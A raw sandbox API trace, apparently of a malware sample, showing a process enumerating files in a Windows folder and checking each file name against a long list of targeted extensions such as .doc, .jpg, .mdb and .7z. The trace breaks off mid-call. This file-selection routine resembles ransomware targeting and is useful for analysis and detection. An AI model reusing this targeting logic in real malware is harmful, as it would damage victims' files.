FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0084.444] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0084.444] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0084.444] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0084.444] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0084.444] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0084.445] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0084.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042") returned 26 [0084.445] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42602d0 [0084.445] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.445] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0084.445] lstrlenW (lpString="eula.rtf") returned 8 [0084.445] lstrlenW (lpString=".1cd") returned 4 [0084.445] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0084.445] lstrlenW (lpString=".3ds") returned 4 [0084.445] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0084.445] lstrlenW (lpString=".3fr") returned 4 [0084.445] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0084.445] lstrlenW (lpString=".3g2") returned 4 [0084.445] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0084.445] lstrlenW (lpString=".3gp") returned 4 [0084.445] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0084.445] lstrlenW (lpString=".7z") returned 3 [0084.445] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0084.446] lstrlenW (lpString=".accda") returned 6 [0084.446] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0084.446] lstrlenW (lpString=".accdb") returned 6 [0084.446] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0084.446] lstrlenW (lpString=".accdc") returned 6 [0084.446] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0084.446] lstrlenW (lpString=".accde") returned 6 [0084.446] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0084.446] lstrlenW (lpString=".accdt") returned 6 [0084.446] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0084.446] lstrlenW (lpString=".accdw") returned 6 [0084.446] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0084.446] lstrlenW (lpString=".adb") returned 4 [0084.446] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0084.446] lstrlenW (lpString=".adp") returned 4 [0084.446] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0084.446] lstrlenW (lpString=".ai") returned 3 [0084.446] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0084.446] lstrlenW (lpString=".ai3") returned 4 [0084.446] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0084.446] lstrlenW (lpString=".ai4") returned 4 [0084.446] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0084.446] lstrlenW (lpString=".ai5") returned 4 [0084.446] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0084.446] lstrlenW (lpString=".ai6") returned 4 [0084.446] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0084.446] lstrlenW (lpString=".ai7") returned 4 [0084.446] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0084.446] lstrlenW (lpString=".ai8") returned 4 [0084.446] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0084.446] lstrlenW (lpString=".anim") returned 5 [0084.447] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0084.447] lstrlenW (lpString=".arw") returned 4 [0084.447] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0084.447] lstrlenW (lpString=".as") returned 3 [0084.447] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0084.447] lstrlenW (lpString=".asa") returned 4 [0084.447] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0084.447] lstrlenW (lpString=".asc") returned 4 [0084.447] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0084.447] lstrlenW (lpString=".ascx") returned 5 [0084.447] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0084.447] lstrlenW (lpString=".asm") returned 4 [0084.447] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0084.447] lstrlenW (lpString=".asmx") returned 5 [0084.447] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0084.447] lstrlenW (lpString=".asp") returned 4 [0084.447] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0084.447] lstrlenW (lpString=".aspx") returned 5 [0084.447] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0084.447] lstrlenW (lpString=".asr") returned 4 [0084.447] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0084.447] lstrlenW (lpString=".asx") returned 4 [0084.447] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0084.447] lstrlenW (lpString=".avi") returned 4 [0084.447] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0084.447] lstrlenW (lpString=".avs") returned 4 [0084.447] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0084.447] lstrlenW (lpString=".backup") returned 7 [0084.447] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0084.447] lstrlenW (lpString=".bak") returned 4 [0084.448] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0084.448] lstrlenW (lpString=".bay") returned 4 [0084.448] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0084.448] lstrlenW (lpString=".bd") returned 3 [0084.448] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0084.448] lstrlenW (lpString=".bin") returned 4 [0084.448] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0084.448] lstrlenW (lpString=".bmp") returned 4 [0084.448] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0084.448] lstrlenW (lpString=".bz2") returned 4 [0084.448] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.448] lstrlenW (lpString=".c") returned 2 [0084.448] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0084.448] lstrlenW (lpString=".cdr") returned 4 [0084.448] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0084.448] lstrlenW (lpString=".cer") returned 4 [0084.448] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0084.448] lstrlenW (lpString=".cf") returned 3 [0084.448] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0084.448] lstrlenW (lpString=".cfc") returned 4 [0084.448] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0084.448] lstrlenW (lpString=".cfm") returned 4 [0084.448] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0084.448] lstrlenW (lpString=".cfml") returned 5 [0084.448] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0084.448] lstrlenW (lpString=".cfu") returned 4 [0084.448] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0084.448] lstrlenW (lpString=".chm") returned 4 [0084.448] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0084.448] lstrlenW (lpString=".cin") returned 4 [0084.448] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0084.448] lstrlenW (lpString=".class") returned 6 [0084.448] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0084.449] lstrlenW (lpString=".clx") returned 4 [0084.449] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0084.449] lstrlenW (lpString=".config") returned 7 [0084.449] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0084.449] lstrlenW (lpString=".cpp") returned 4 [0084.449] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0084.449] lstrlenW (lpString=".cr2") returned 4 [0084.449] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0084.449] lstrlenW (lpString=".crt") returned 4 [0084.449] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0084.449] lstrlenW (lpString=".crw") returned 4 [0084.449] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0084.449] lstrlenW (lpString=".cs") returned 3 [0084.449] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0084.449] lstrlenW (lpString=".css") returned 4 [0084.449] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0084.449] lstrlenW (lpString=".csv") returned 4 [0084.449] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0084.449] lstrlenW (lpString=".cub") returned 4 [0084.449] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0084.449] lstrlenW (lpString=".dae") returned 4 [0084.449] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0084.449] lstrlenW (lpString=".dat") returned 4 [0084.449] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0084.449] lstrlenW (lpString=".db") returned 3 [0084.449] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0084.449] lstrlenW (lpString=".dbf") returned 4 [0084.449] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.449] lstrlenW (lpString=".dbx") returned 4 [0084.449] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0084.449] lstrlenW (lpString=".dc3") returned 4 [0084.449] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0084.449] lstrlenW (lpString=".dcm") returned 4 [0084.450] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0084.450] lstrlenW (lpString=".dcr") returned 4 [0084.450] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0084.450] lstrlenW (lpString=".der") returned 4 [0084.450] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0084.450] lstrlenW (lpString=".dib") returned 4 [0084.450] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0084.450] lstrlenW (lpString=".dic") returned 4 [0084.450] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0084.450] lstrlenW (lpString=".dif") returned 4 [0084.450] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0084.450] lstrlenW (lpString=".divx") returned 5 [0084.450] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0084.450] lstrlenW (lpString=".djvu") returned 5 [0084.450] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0084.450] lstrlenW (lpString=".dng") returned 4 [0084.450] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0084.450] lstrlenW (lpString=".doc") returned 4 [0084.450] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.450] lstrlenW (lpString=".docm") returned 5 [0084.450] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0084.450] lstrlenW (lpString=".docx") returned 5 [0084.450] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.450] lstrlenW (lpString=".dot") returned 4 [0084.450] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0084.450] lstrlenW (lpString=".dotm") returned 5 [0084.450] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0084.450] lstrlenW (lpString=".dotx") returned 5 [0084.450] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0084.450] lstrlenW (lpString=".dpx") returned 4 [0084.450] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0084.451] lstrlenW (lpString=".dqy") returned 4 [0084.451] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0084.451] lstrlenW (lpString=".dsn") returned 4 [0084.451] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0084.451] lstrlenW (lpString=".dt") returned 3 [0084.451] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0084.451] lstrlenW (lpString=".dtd") returned 4 [0084.451] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0084.451] lstrlenW (lpString=".dwg") returned 4 [0084.451] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0084.451] lstrlenW (lpString=".dwt") returned 4 [0084.451] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0084.451] lstrlenW (lpString=".dx") returned 3 [0084.451] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0084.451] lstrlenW (lpString=".dxf") returned 4 [0084.451] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0084.451] lstrlenW (lpString=".edml") returned 5 [0084.451] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0084.451] lstrlenW (lpString=".efd") returned 4 [0084.451] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0084.451] lstrlenW (lpString=".elf") returned 4 [0084.451] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0084.451] lstrlenW (lpString=".emf") returned 4 [0084.451] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0084.451] lstrlenW (lpString=".emz") returned 4 [0084.451] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0084.451] lstrlenW (lpString=".epf") returned 4 [0084.451] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0084.452] lstrlenW (lpString=".eps") returned 4 [0084.452] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0084.452] lstrlenW (lpString=".epsf") returned 5 [0084.452] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0084.452] lstrlenW (lpString=".epsp") returned 5 [0084.452] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0084.452] lstrlenW (lpString=".erf") returned 4 [0084.452] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0084.452] lstrlenW (lpString=".exr") returned 4 [0084.452] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0084.452] lstrlenW (lpString=".f4v") returned 4 [0084.452] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0084.452] lstrlenW (lpString=".fido") returned 5 [0084.452] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0084.452] lstrlenW (lpString=".flm") returned 4 [0084.452] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0084.452] lstrlenW (lpString=".flv") returned 4 [0084.452] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0084.452] lstrlenW (lpString=".frm") returned 4 [0084.452] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0084.452] lstrlenW (lpString=".fxg") returned 4 [0084.452] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0084.452] lstrlenW (lpString=".geo") returned 4 [0084.452] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0084.452] lstrlenW (lpString=".gif") returned 4 [0084.452] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0084.452] lstrlenW (lpString=".grs") returned 4 [0084.452] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0084.452] lstrlenW (lpString=".gz") returned 3 [0084.453] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0084.453] lstrlenW (lpString=".h") returned 2 [0084.453] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0084.453] lstrlenW (lpString=".hdr") returned 4 [0084.453] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0084.453] lstrlenW (lpString=".hpp") returned 4 [0084.453] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0084.453] lstrlenW (lpString=".hta") returned 4 [0084.453] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0084.453] lstrlenW (lpString=".htc") returned 4 [0084.453] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0084.453] lstrlenW (lpString=".htm") returned 4 [0084.453] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0084.453] lstrlenW (lpString=".html") returned 5 [0084.453] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0084.453] lstrlenW (lpString=".icb") returned 4 [0084.453] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0084.453] lstrlenW (lpString=".ics") returned 4 [0084.453] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0084.453] lstrlenW (lpString=".iff") returned 4 [0084.453] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0084.453] lstrlenW (lpString=".inc") returned 4 [0084.453] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0084.453] lstrlenW (lpString=".indd") returned 5 [0084.453] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0084.453] lstrlenW (lpString=".ini") returned 4 [0084.453] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0084.453] lstrlenW (lpString=".iqy") returned 4 [0084.453] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0084.453] lstrlenW (lpString=".j2c") returned 4 [0084.453] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0084.453] lstrlenW (lpString=".j2k") returned 4 [0084.454] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0084.454] lstrlenW (lpString=".java") returned 5 [0084.454] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0084.454] lstrlenW (lpString=".jp2") returned 4 [0084.454] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0084.454] lstrlenW (lpString=".jpc") returned 4 [0084.454] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0084.454] lstrlenW (lpString=".jpe") returned 4 [0084.454] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0084.454] lstrlenW (lpString=".jpeg") returned 5 [0084.454] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0084.454] lstrlenW (lpString=".jpf") returned 4 [0084.454] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0084.454] lstrlenW (lpString=".jpg") returned 4 [0084.454] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.454] lstrlenW (lpString=".jpx") returned 4 [0084.454] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0084.454] lstrlenW (lpString=".js") returned 3 [0084.454] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0084.454] lstrlenW (lpString=".jsf") returned 4 [0084.454] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0084.454] lstrlenW (lpString=".json") returned 5 [0084.454] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0084.454] lstrlenW (lpString=".jsp") returned 4 [0084.454] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0084.454] lstrlenW (lpString=".kdc") returned 4 [0084.454] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0084.455] lstrlenW (lpString=".kmz") returned 4 [0084.455] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0084.455] lstrlenW (lpString=".kwm") returned 4 [0084.455] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0084.455] lstrlenW (lpString=".lasso") returned 6 [0084.455] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0084.455] lstrlenW (lpString=".lbi") returned 4 [0084.455] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0084.455] lstrlenW (lpString=".lgf") returned 4 [0084.455] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0084.455] lstrlenW (lpString=".lgp") returned 4 [0084.455] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0084.455] lstrlenW (lpString=".log") returned 4 [0084.455] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0084.455] lstrlenW (lpString=".m1v") returned 4 [0084.455] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0084.455] lstrlenW (lpString=".m4a") returned 4 [0084.455] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0084.455] lstrlenW (lpString=".m4v") returned 4 [0084.455] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0084.455] lstrlenW (lpString=".max") returned 4 [0084.455] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0084.455] lstrlenW (lpString=".md") returned 3 [0084.455] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0084.455] lstrlenW (lpString=".mda") returned 4 [0084.455] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0084.455] lstrlenW (lpString=".mdb") returned 4 [0084.455] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0084.456] lstrlenW (lpString=".mde") returned 4 [0084.456] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0084.456] lstrlenW (lpString=".mdf") returned 4 [0084.456] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0084.456] lstrlenW (lpString=".mdw") returned 4 [0084.456] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0084.456] lstrlenW (lpString=".mef") returned 4 [0084.456] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0084.456] lstrlenW (lpString=".mft") returned 4 [0084.456] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0084.456] lstrlenW (lpString=".mfw") returned 4 [0084.456] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0084.456] lstrlenW (lpString=".mht") returned 4 [0084.456] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0084.456] lstrlenW (lpString=".mhtml") returned 6 [0084.456] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0084.456] lstrlenW (lpString=".mka") returned 4 [0084.456] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0084.456] lstrlenW (lpString=".mkidx") returned 6 [0084.456] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0084.456] lstrlenW (lpString=".mkv") returned 4 [0084.456] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0084.456] lstrlenW (lpString=".mos") returned 4 [0084.456] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0084.456] lstrlenW (lpString=".mov") returned 4 [0084.456] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0084.456] lstrlenW (lpString=".mp3") returned 4 [0084.457] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0084.457] lstrlenW (lpString=".mp4") returned 4 [0084.457] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0084.457] lstrlenW (lpString=".mpeg") returned 5 [0084.457] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0084.457] lstrlenW (lpString=".mpg") returned 4 [0084.457] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0084.457] lstrlenW (lpString=".mpv") returned 4 [0084.457] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0084.457] lstrlenW (lpString=".mrw") returned 4 [0084.457] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0084.457] lstrlenW (lpString=".msg") returned 4 [0084.457] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0084.457] lstrlenW (lpString=".mxl") returned 4 [0084.457] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0084.457] lstrlenW (lpString=".myd") returned 4 [0084.458] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0084.458] lstrlenW (lpString=".myi") returned 4 [0084.458] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0084.458] lstrlenW (lpString=".nef") returned 4 [0084.458] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0084.458] lstrlenW (lpString=".nrw") returned 4 [0084.458] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0084.458] lstrlenW (lpString=".obj") returned 4 [0084.458] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0084.458] lstrlenW (lpString=".odb") returned 4 [0084.458] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0084.458] lstrlenW (lpString=".odc") returned 4 [0084.458] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0084.458] lstrlenW (lpString=".odm") returned 4 [0084.458] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0084.458] lstrlenW (lpString=".odp") returned 4 [0084.458] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0084.458] lstrlenW (lpString=".ods") returned 4 [0084.458] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0084.458] lstrlenW (lpString=".oft") returned 4 [0084.458] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0084.458] lstrlenW (lpString=".one") returned 4 [0084.458] lstrcmpiW (lpString1=".one", 